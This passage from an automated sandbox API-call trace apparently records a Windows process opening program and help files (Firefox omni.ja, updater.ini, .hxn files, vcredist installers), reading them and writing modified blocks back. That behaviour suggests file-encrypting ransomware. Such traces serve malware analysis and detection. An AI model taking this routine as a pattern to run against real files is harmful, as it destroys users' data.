lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.576] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.576] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xfa3 [0048.576] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.576] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.576] ReleaseMutex (hMutex=0x128) returned 1 [0048.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crashreporter.ini", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crashreporter.ini", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crashreporter.ini", lpUsedDefaultChar=0x0) returned 17 [0048.576] ReadFile (in: hFile=0x184, lpBuffer=0x280edb8, nNumberOfBytesToRead=0xfa3, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x354f2bc*=0xfa3, lpOverlapped=0x0) returned 1 [0048.577] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0048.577] WriteFile (in: hFile=0x184, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x152b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x354f2d0*=0x152b, lpOverlapped=0x0) returned 1 [0048.578] CloseHandle (hObject=0x184) returned 1 [0048.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.578] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.579] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x771d55 [0048.579] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.579] ReleaseMutex (hMutex=0x128) returned 1 [0048.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="omni.ja", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="omni.ja", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="omni.ja", lpUsedDefaultChar=0x0) returned 7 [0048.579] ReadFile (in: hFile=0x184, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.581] ReadFile (in: hFile=0x184, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.585] ReadFile (in: hFile=0x184, lpBuffer=0x3a18498, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.585] SetFilePointer (in: hFile=0x184, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x76fd55 [0048.587] ReadFile (in: hFile=0x184, lpBuffer=0x261b808, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.593] SetFilePointer (in: hFile=0x184, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x76fd55 [0048.595] WriteFile (in: hFile=0x184, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x354f28c*=0x2588, lpOverlapped=0x0) returned 1 [0048.595] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0048.595] WriteFile (in: hFile=0x184, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.596] WriteFile (in: hFile=0x184, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.596] WriteFile (in: hFile=0x184, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x354f28c*=0x2000, lpOverlapped=0x0) returned 1 [0048.596] CloseHandle (hObject=0x184) returned 1 [0048.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\shortcuts_log.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.597] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.597] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x142 [0048.597] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.597] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.597] ReleaseMutex (hMutex=0x128) returned 1 [0048.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shortcuts_log.ini", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shortcuts_log.ini", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shortcuts_log.ini", lpUsedDefaultChar=0x0) returned 17 [0048.597] ReadFile (in: hFile=0x184, lpBuffer=0x253c818, nNumberOfBytesToRead=0x142, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c818*, lpNumberOfBytesRead=0x354f2bc*=0x142, lpOverlapped=0x0) returned 1 [0048.598] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0048.598] WriteFile (in: hFile=0x184, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x6ca, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x354f2d0*=0x6ca, lpOverlapped=0x0) returned 1 [0048.598] CloseHandle (hObject=0x184) returned 1 [0048.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0048.599] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.599] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4dd [0048.599] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0048.599] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.599] ReleaseMutex (hMutex=0x128) returned 1 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ini", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ini", lpUsedDefaultChar=0x0) returned 11 [0048.599] ReadFile (in: hFile=0x184, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4dd, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x354f2bc*=0x4dd, lpOverlapped=0x0) returned 1 [0048.601] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0048.601] WriteFile (in: hFile=0x184, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xa65, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x354f2d0*=0xa65, lpOverlapped=0x0) returned 1 [0048.602] CloseHandle (hObject=0x184) returned 1 [0048.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0049.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui", lpFilePart=0x354f690*="WinMail.exe.mui") returned 0x39 [0049.118] GetLastError () returned 0x5 [0049.118] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢸǦ\x01") returned 0x13 [0049.118] LocalFree (hMem=0x70b5a8) returned 0x0 [0049.118] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0049.118] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0049.135] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0049.136] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0049.156] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\winmail.exe.mui")) returned 0x20 [0049.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\operamail.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\operamail.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0049.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\operamail.exe", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Portable Devices\\operamail.exe", lpFilePart=0x354f690*="operamail.exe") returned 0x3d [0049.156] GetLastError () returned 0x20 [0049.156] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p͔폈H͔퐔H͔L͔ꢸǦ\x01") returned 0x51 [0049.156] LocalFree (hMem=0x70da60) returned 0x0 [0049.157] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0049.157] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0049.157] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0049.157] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0049.157] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\operamail.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\operamail.exe")) returned 0x20 [0049.157] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.336] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.337] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x158 [0049.337] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.337] ReleaseMutex (hMutex=0x128) returned 1 [0049.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.INFOPATH.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.INFOPATH.14.1033.hxn", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.INFOPATH.14.1033.hxn", lpUsedDefaultChar=0x0) returned 23 [0049.337] ReadFile (in: hFile=0x170, lpBuffer=0x2635928, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x354f2bc*=0x158, lpOverlapped=0x0) returned 1 [0049.338] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0049.338] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6e0, lpOverlapped=0x0) returned 1 [0049.338] CloseHandle (hObject=0x170) returned 1 [0049.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.339] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.339] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x152 [0049.339] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.339] ReleaseMutex (hMutex=0x128) returned 1 [0049.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OUTLOOK.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OUTLOOK.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.OUTLOOK.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0049.339] ReadFile (in: hFile=0x170, lpBuffer=0x253c818, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c818*, lpNumberOfBytesRead=0x354f2bc*=0x152, lpOverlapped=0x0) returned 1 [0049.340] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0049.340] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6da, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6da, lpOverlapped=0x0) returned 1 [0049.340] CloseHandle (hObject=0x170) returned 1 [0049.340] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.341] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.341] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x152 [0049.341] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.341] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.341] ReleaseMutex (hMutex=0x128) returned 1 [0049.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINPROJ.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINPROJ.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.WINPROJ.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0049.341] ReadFile (in: hFile=0x170, lpBuffer=0x253c818, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c818*, lpNumberOfBytesRead=0x354f2bc*=0x152, lpOverlapped=0x0) returned 1 [0049.342] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0049.342] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6da, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6da, lpOverlapped=0x0) returned 1 [0049.342] CloseHandle (hObject=0x170) returned 1 [0049.342] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.344] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.344] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6f428 [0049.344] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.344] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.344] ReleaseMutex (hMutex=0x128) returned 1 [0049.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x86.exe", lpUsedDefaultChar=0x0) returned 16 [0049.344] ReadFile (in: hFile=0x170, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.376] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e428 [0049.378] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.417] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e428 [0049.417] WriteFile (in: hFile=0x170, lpBuffer=0x276c388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.417] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0049.417] WriteFile (in: hFile=0x170, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.418] CloseHandle (hObject=0x170) returned 1 [0049.418] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.418] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.418] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x24000 [0049.419] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.419] ReleaseMutex (hMutex=0x128) returned 1 [0049.419] WideCharToMultiByte 